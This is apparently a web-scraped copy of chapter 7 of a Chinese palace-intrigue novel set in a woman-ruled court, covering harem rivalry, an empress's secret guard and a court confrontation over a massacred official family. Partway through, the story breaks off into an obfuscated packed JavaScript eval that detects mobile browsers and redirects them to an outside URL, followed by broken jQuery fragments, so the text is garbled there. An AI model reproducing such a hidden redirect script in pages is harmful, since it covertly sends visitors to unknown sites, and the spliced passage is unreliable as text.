7. 第七章
作品:《御座之上尽折腰(女尊)》 自家娘娘脾气软,云星就得帮主子出出气,哪怕是逞逞口舌之快。
“主子你哪有?依奴才看就是那皇后仗着昨夜刚留宿了芳华殿,在耀武扬威给您使绊子,咱们又不是没被赏过留宫,他有什么……”
“云星。”百里竹仪打断了他的愤慨之言。
平日里没少听云星给他聒噪,大部分时刻听他讲话牢骚也算逗个趣,目下提到留宫,他却不愿再听。
后宫当宠的无非就是李祈年,沈令与自己。
沈令是后来入宫的,却已经为陛下贡献了皇长女殷千雪,他和皇后都来自王府,却至今在子嗣上毫无动静。
到底是如云星说的,他也是留宿过芳华殿的人,怎会不知道殷君娆侍寝的规矩?
虽然皇上龙体有损,但想来皇后无子,问题并不在身体上,处境也与他一样。
“奴才也是想给主子出口恶气。”云星有点委屈。
他默默地跟上百里竹仪的步伐,换了个话题嚼舌根,“主子脾气太好了,皇后也罢,前些日子还有容君偷偷换了咱们绿头牌的事儿,比您低一级的都敢这么以下犯上,还不是仗着有……”
话临到嘴边,云星这才意识到自己似乎又失言了,刚说完争宠侍寝又绕到子嗣问题,这不是直戳娘娘的心窝子?
云星连忙重重地拍了拍自己的嘴,“奴才嘴笨,主子责罚。”
“好了,外面不比自家宫里,慎言。”百里竹仪拉下他掌嘴的手。
云星半句都不敢再多说,主子脾气再好也是多说多错。只管在身后服侍好,“奴才知道了。”
话说起千雪帝姬,百里竹仪边走边浮想着,“想来宫里的日子过得也真快,昨夜满宫还是小儿的啼哭声,现帝姬诞生已经有些时日了,再过一月便是百日宴了吧?”
“还有三十二日,差不多了。”云星当然记得结实,陛下生产那日他连夜打听,得知是帝姬后,差点把吃饭的筷子给撅了,“主子问这做什么?”
“刚说了要慎言。”百里竹仪无奈地拍了拍云星的胳膊,对方闷头嗯了一声,才开口不知是感慨长叹还是心有郁结。
“没什么,只是感慨宫中日子难熬,有个孩子照顾,忙起来就忘了。百日之后便要请太医调配营养乳食,一岁请开蒙女官入宫,三岁搬去朝阳殿自居,五岁又要去尚书房……”
“主子怎么突然想起这些?莫非是……”云星窃喜的眼角藏不住笑意,一副哈巴狗的模样讨谁都喜欢,凑近百里竹仪,“莫非是也想要个小帝姬了?”
“胡闹,如今都敢拿本宫开玩笑了。”话说着,百里竹仪也不恼,倒是被云星说得有些腼腆。
话说到此,男人却又不禁回想起所谓的“侍寝”,心中的波澜归于平静,“再说,要与不要也都是陛下做主,女子生育本就痛苦,本宫反倒是不希望陛下子嗣过于繁荣。”
云星顺着百里竹仪的话说道:“主子这么心系陛下,陛下又宠您,管他容君那边百日千日,咱们以后若是有了的小帝姬一定是最聪慧睿智的。”
谈天之间,已经走到了百里竹仪的君兰宫。
难得云星提到了千雪帝姬……正欲回宫的百里竹仪回头瞥了眼已经凉透了的羊乳食盒,在宫门口折返过身,云星一惊,“主子,主子!我们不回宫了吗?”
那是皇后命他回去,“我何时说过要回宫了。”
百里竹仪看着身后追来的云星不禁轻笑,“这羊乳也别浪费,带着去容君宫里看看千雪帝姬吧。”
殷君娆把自己闷在芳华殿内,从白日到黑夜。原本昨夜答应中午去陪沈令用膳的事也被她抛诸脑后,唯恐他闹,让人随便赏了点东西打发走了。
如果先前是激动愤怒,以及无法保住自己臣民的无助和自卑,那后面只能是饱尝不易后的自我激励。她是皇帝,如果连她自己都要自暴自弃,那这个冬岳才是真的要拱手送人了。
想来疑点最多的,便是那封被殷凌深夜拦截的密信。
多年来她虽未上朝理政,可空乏时间除了读书之外,也费力地打听朝堂之事。坐镇朝堂与臣子君臣之礼尚在,但往往都浮于表面。
没了前朝的压力,她打听大臣之间闲来的趣闻,倒也方便了许多,集整有用的线索于一体。
她深知潘玉为人,也知潘氏一族在朝堂上的态度,除去派出的镇远军副将潘玉,为首的也是今日朝堂上翰林院的潘妍,其他族中女子多凭科举入仕,男子嫁的也都是门当户对,寻常人家,上没有高攀,下没有笼络,家族公正廉明。
其他臣子也大多与潘家相同,看不上殷凌的雷厉风行和其党羽的雷厉风行,又觉得皇帝是扶不起的阿斗,处于中立状态,更有甚者都另辟蹊径者,把希望寄托于不足百日的千雪帝姬。
把副将的问题处理得当,便能拉拢潘氏一族,虽然潘氏并不算显赫之家,但若改变前朝立场,与其交好的家族也会更加亲皇,处于观望的中立党其心或多或少就会动摇。
这不光是边境的一场狠仗,更是她在朝堂上立威的开始,重中之重。
却在今日被摄政王率先挖了陷阱,侧翻了那亲信,只能把希望寄托于副将潘玉的身上。
殷凌今日意图莫过于明显,致使殷君娆能肯定,事实定与她所告发的相反。
所以那份密报上所写内容皆为属实,如若这个,那主将叛国边关失守在即,与冬岳不利。
还是得有兵权。
历代多少帝王废宰相行郡县就是为了巩固皇权,有兵者有话语权,第一个攥在手里的就应该是兵权,现在虎符却攥在摄政王手里,天子没有一兵一卒,莫不是怕时机不对担上反贼的罪名,又赖于千雪帝姬尚在襁褓,殷凌便是巴不得现在立刻逼宫发动政变。
思忖之间,殷君娆走到床榻上,掀起床上的褥垫,摩挲一番听到清脆的按钮响声,从床头弹出一个巴掌大的小抽屉。
里面陈放着一张密封整齐的书纸,和一块黄金令牌。
山河楼,她从得知自己深处皇家处境险恶后,呕心沥血秘密建立的死士组织。起初本是想在先帝太子夺嫡中寻求自保而已,没想到最后坐上龙椅的会是自己。
可登基为帝,却是比争权夺位更加凶险的存在。便是深夜读书都要用侍寝掩护的她,谁知为了掩藏山河楼,又要养精蓄锐保持联系,费了多大的心神和努力。
如若哪天殷凌真的大逆不道想要篡位夺权,这火烧到了芳华殿,哪怕舍了皇位,这是她保护千雪和自己性命,冬岳皇室直系血脉的唯一筹码。
令牌上用冬岳文字写着山河,便是帝王寄托的江山河海。理清头绪,怀揣着沉重的心情,殷君娆把令牌又重新放回暗格处,细细地检查了三四遍万无一失,才准备卧榻就寝。
熬了一天一夜未睡,再过不了几个时辰又到了早朝时间,现下潘副将案件正当热议,她更是放心不下边关,想来被殷凌再怎么挤兑,这几日的早朝都不能停。
她的身子本身不大好是真的,别哪一天殷凌不攻自破让她钻了空子,神仙来了她也得吊着这口气。脑内思绪万千,闭上眼刚有了点倦意时……“陛下!陛下大事不好!”
听声音,是前朝首领宫人的喊声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630204|172508||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
楚含见正在尚宫局,来的勤也遭疑,这些个外人殷君娆大多不信,没什么好脸色,“朕说过了不要惊扰朕,况且深夜时分,何事惊慌?”
她不得已疲乏地坐起身子,捏着有些酸疼的眉心,却在听见门外禀告的宫女说的话后,所有的精神都集于大脑。
“翰林院的潘妍大人昨日车马被歹徒所劫,横死街头,潘府深夜遭遇刺客,全族男女老少……全部遇难。”
凤阙达官显贵众多,与上相比,潘氏虽为小门小户,但也是世代为官。潘府的石台阶上已经被血水染红,门框破碎,府内杂乱破碎,门前横着十几具尸体。
潘妍的尸体已经盖上了白布,其他的也都裹着布衣横放在潘府门前。
其中最老的是曾经担任过兵部车驾司郎中的潘老太,最小的是潘妍去年与夫侍生下的嫡长女,就连侍女家丁也没留下活口,满门抄斩,连为其哭丧守孝的都没有。
这等胆大妄为的行为是谁人所做,无人不明。
与潘氏交好的家族无一不胆战心惊,位于中立的臣子,又无一不藏怒宿怨。
还未到上早朝的五更天,龙辰宫就已经站满了文武百官。
相比起与平日无二样的殷凌,面目仍是轻松,殷君娆面色沉重的骇人,台下欲抱不平的百官长跪不起,都是为了来给潘家满门被屠之事要个说法。
“众人不必惊慌,本王已经连夜派人查清了,原是下人嘴碎,把昨日朝堂潘玉图谋不轨之事泄露出去,城中百姓皆愤愤不平,才有狂徒大胆对潘家实施坑害。”
殷凌将准备好的说辞说于众臣,“诸位无其他事就平身开始早朝吧。”
此话说完,占据将近一半朝堂的摄政王党全部起身,然而其他中立党全部躬身下跪着,对于摄政王这浅显应付的说辞全然不信,各个疾首蹙额。
“陛下!臣与潘家乃是世交,深知潘氏为人,虽不曾堪得重任,但也是勤勤恳恳是为了社稷,为了我冬岳,如今被奸佞之人屠了满门,臣斗胆!请求陛下,摄政王给潘家一个说法!”
“潘氏平日对城中百姓从不摆官架子,以往有灾情还自行赈济灾民,即使有不轨传言流出,相信百姓也会有自己的判断,凤阙城中现下已经因为此事闹得人心惶惶,摄政王这等解释,恐难服众!”
“昨日朝堂中潘玉将军之事就尚存疑点,宫中传言也都是摄政王一面之词,罪人还没押送回朝听审,九族倒先被坑害遇难,难道昨日之事还有内情?”
其他人执意就事论事也就罢了,大部分有实权的官员也尽是殷凌党羽的人,最后这位却是现任大理寺卿,还把昨日之事攀扯出来,直中殷凌的要害。
“放肆!”她厉声呵斥道,屠潘家满门就是为了给昨天潘玉告发之事擦干净屁股,自然是避重就轻,“昨夜歹徒刺客已被五城兵马司捉拿下了狱,本王这就可以让侍卫从天牢里提出来当朝对峙,况且潘玉为罪臣,其罪深重原本就当诛九族,诸位实不该为该死之人冒言犯上。”
“摄政王是还想像昨日早朝那般,再来一次以死明鉴,死无对证吗?”跪在第一排的一位红衣臣子突然起身直面摄政王,其语言犀利直戳要害。
殷君娆也在悲痛沉默之余有些意外,此人是镇北将军郑裕,辅佐了两代君王,平日里跟她并无交集,也难以打听些什么,让她一度以为是摄政王党,毕竟殷凌的势力遍布朝野。
眼下居然站出来和摄政王对弈,足见殷凌的手段残暴,引得百官震怒,便是这些隐忍已久,只为自保的高位臣子也无法忍耐她在冬岳的朝堂之上耀武扬威。